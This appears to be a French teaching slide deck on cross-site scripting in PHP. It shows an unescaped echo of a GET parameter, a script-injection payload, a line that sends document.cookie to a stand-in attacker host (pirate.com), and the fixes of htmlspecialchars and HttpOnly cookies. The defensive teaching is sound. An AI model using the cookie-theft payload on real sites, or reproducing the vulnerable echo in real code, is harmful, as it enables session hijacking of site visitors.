Par Valentin Brosseau / @c4software
Il ne fait aucune différence entre :
Tout ce qui arrive dans la page, il l'exécute.
echo "Bonjour " . $_GET['name'];On réaffiche la saisie telle quelle dans la page.
Et si name vaut :
<script>alert('XSS')</script>À votre avis, que fait le navigateur ?
Le script s'exécute dans le navigateur de chaque visiteur.
Ici une simple alerte… mais on peut faire bien pire.
Lequel est le plus dangereux ?
Un seul commentaire piégé, et chaque visiteur de la page est touché.
new Image().src =
"http://pirate.com/?c=" + document.cookie;Le cookie de session part chez l'attaquant, qui se fait passer pour vous.
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');<script> devient <script> : affiché comme texte, jamais exécuté.
strip_tags() : supprime les balises.htmlspecialchars() : neutralise les balises (recommandé à l'affichage).On échappe au moment de l'affichage, pas seulement à l'enregistrement.
Un cookie de session en HttpOnly :
setcookie('session', $id, ['httponly' => true]);Même en cas de XSS, document.cookie ne le voit plus.
htmlspecialchars.HttpOnly en défense supplémentaire.Place au TP 🚀